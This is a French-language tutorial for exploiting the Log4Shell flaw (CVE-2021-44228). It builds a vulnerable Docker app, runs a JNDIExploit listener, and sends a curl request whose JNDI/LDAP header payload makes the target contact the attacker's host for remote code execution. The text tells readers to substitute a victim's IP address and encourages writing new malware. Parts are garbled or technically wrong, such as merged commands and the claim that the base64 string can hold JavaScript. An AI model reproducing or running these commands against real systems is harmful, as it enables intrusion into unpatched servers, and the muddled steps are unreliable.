
Tutoriel pas à pas pour exploiter Log4j CVE-2021-44228 avec une application vulnérable basée sur Docker, un écouteur JNDIExploit et une injection de charge utile LDAP pour l'exécution de code à distance.

Une vulnérabilité d'exécution de code à distance a été découverte dans la bibliothèque de journalisation Java Log4j.
CVE-2021-44228 Cette vulnérabilité a provoqué une onde de choc dans la communauté cybernétique mondiale : depuis Wannacry, nous n'avions pas vu un tel impact.
La plupart des applications écrites en Java sont considérées comme affectées et vulnérables, en particulier les frameworks Apache, notamment Apache Struts2, Apache Solr, Apache Druid et Apache Flink. En outre, ElasticSearch, Flume, Logstash, Kafka, Netty, MyBatis et Spring-Boot-starter-log4j sont également vulnérables. Certains des produits et services les plus populaires d'Internet - dont Apple iCloud, Amazon, Steam et Twitter - dépendent de ces frameworks pour fonctionner. On considère également qu'un nombre important d'applications d'entreprise et de cybersécurité sont concernées.
Radware (services DDoS en temps réel continuellement adaptatifs) a déclaré que seuls les logiciels activant et utilisant la substitution de recherche de messages (message lookup substitution) log4j sont affectés. À partir de la version 2.15.0, la substitution de recherche de messages est désactivée par défaut, ce qui explique pourquoi un correctif est nécessaire. Les versions Log4j 2 allant de 2.0-beta9 à 2.14.1 sont toutes vulnérables et exploitables.


tout d'abord, ce guide est destiné à fonctionner avec une machine virtuelle Kali Linux et à exécuter le listener Java avec la commande suivante, comme sur le côté gauche du guide vidéo. commencez par construire l'application docker vulnérable, puis exécutez-la. alors, faisons cela.
docker build . -t vulnerable-appl'étape suivante consiste en réalité à exécuter l'application vulnérable, celle qui est déployée.
*donc, la commande suivante :
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
et maintenant, le script Spring doit être exécuté comme dans le guide vidéo.
pour l'instant, pour obtenir l'empreinte (fingerprint) du serveur LDAP, nous avons juste besoin de créer le lien LDAP et c'est terminé : téléchargez d'abord l'outil d'exploitation JNDIExploit-1.2. l'URL de téléchargement de JNDIExploit a été supprimée par GitHub ; téléchargez-le depuis les archives (URL ci-dessous). obtenez l'URL suivante pour télécharger depuis les archives JNDIExploitArchiveUrl
donc, faisons-le
dézippez JNDIExploit.
exécutez le listener Java : java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "replace_with_ypure_IP-ADDR" -p 8888.
note : supprimez "replace_with your IP-addr" et entrez l'adresse IP de votre listener. ( sans inclure les crochets).
l'étape suivante pour déclencher l'exploit, exécutez la commande suivante :
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
note : remplacez "ip-addr" par votre IP locale qui écoute via Java et remplacez également le 127.0.0.1 par l'adresse IP de la victime, et c'est tout : vous recevrez la chaîne hello-world encodée en base64. De cette façon, vous pouvez effectuer n'importe quelle manipulation. Découvrez d'autres techniques à utiliser, mincraft, vous pouvez effectuer des manipulations via l'outil burgsuite pour les services ouverts sur l'ordinateur, etc. Imaginez cela - passez en mode productif et améliorez votre improvisation, composez le prochain malware.
vous pouvez remplacer la chaîne base64 (hello-world) par du code JS exécutable compatible pour exécuter des requêtes via le serveur LDAP.